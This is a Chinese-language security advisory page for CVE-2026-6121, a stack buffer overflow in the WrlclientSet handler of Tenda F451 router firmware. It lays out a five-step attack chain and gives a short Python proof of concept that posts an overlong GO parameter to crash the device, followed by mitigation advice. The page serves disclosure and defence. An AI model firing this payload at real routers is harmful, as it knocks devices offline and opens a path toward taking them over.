IPBUF安全漏洞报告
English
CVE-2026-6121 CVSS 8.8 高危

CVE-2026-6121 Tenda F451 栈溢出漏洞

披露日期: 2026-04-12

漏洞信息

漏洞编号
CVE-2026-6121
漏洞类型
栈溢出
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tenda F451

相关标签

栈溢出缓冲区溢出TendaRCEIoT漏洞CVE-2026-6121

漏洞概述

Tenda F451路由器固件版本1.0.0.7中存在严重的栈溢出漏洞。该漏洞位于httpd组件的WrlclientSet接口,由于未正确处理用户输入的GO参数,导致缓冲区溢出。远程攻击者在经过低权限认证后,可通过发送特制数据包触发该漏洞,从而可能导致设备崩溃或执行任意代码,完全控制受影响设备。

技术细节

该漏洞源于Tenda F451路由器Web服务器(httpd)对HTTP请求处理的逻辑缺陷。具体受影响的文件路径为/goform/WrlclientSet,对应的处理函数为WrlclientSet。在处理HTTP请求时,该函数直接提取用户提交的GO参数,并将其拷贝到栈上分配的局部变量缓冲区中。由于代码缺少必要的长度校验机制,当攻击者提交超长的字符串作为GO参数时,多余的数据将溢出缓冲区边界。攻击者可以通过精心构造的负载覆盖栈上的返回地址,从而劫持程序的执行流程,跳转到恶意代码。鉴于CVSS评分为8.8且需低权限(PR:L),攻击者通常需要先获取低级用户权限(如普通登录权限),随后利用此漏洞提升权限至Root级别,实现远程代码执行(RCE),严重威胁设备的安全性。

攻击链分析

STEP 1
侦察
攻击者扫描网络,识别目标为Tenda F451路由器,并确定其固件版本为1.0.0.7。
STEP 2
获取认证
由于PR:L要求,攻击者通过暴力破解或利用默认凭证获取低权限用户登录状态(Cookie/Session)。
STEP 3
构造恶意载荷
攻击者构造包含超长填充字符串和特定返回地址的HTTP POST请求,目标指向/goform/WrlclientSet接口的GO参数。
STEP 4
发送攻击请求
向目标设备发送构造好的恶意HTTP请求,触发WrlclientSet函数中的栈溢出。
STEP 5
执行代码
程序流程被劫持,设备执行攻击者预设的Shellcode,导致远程代码执行或设备拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://<target_ip>/goform/WrlclientSet" # The vulnerable parameter is 'GO'. # Sending a large payload to trigger the stack-based buffer overflow. payload = { "GO": "A" * 1000 # Adjust length based on specific buffer size } try: # Note: PR:L implies authentication might be required. # Ensure valid cookies or session headers are present if needed. response = requests.post(target_url, data=payload, timeout=5) print(f"Status Code: {response.status_code}") if response.status_code == 200 or response.status_code == 500: print("Potential trigger detected (Check device for crash/reboot).") except requests.exceptions.RequestException as e: print(f"Request failed: {e}")

影响范围

Tenda F451 1.0.0.7

防御指南

临时缓解措施
在官方发布补丁之前,建议用户将路由器管理界面严格限制在本地网络访问,不要暴露在公网。同时,使用强密码保护管理员账户,并定期检查设备日志是否存在异常的访问记录或重启行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表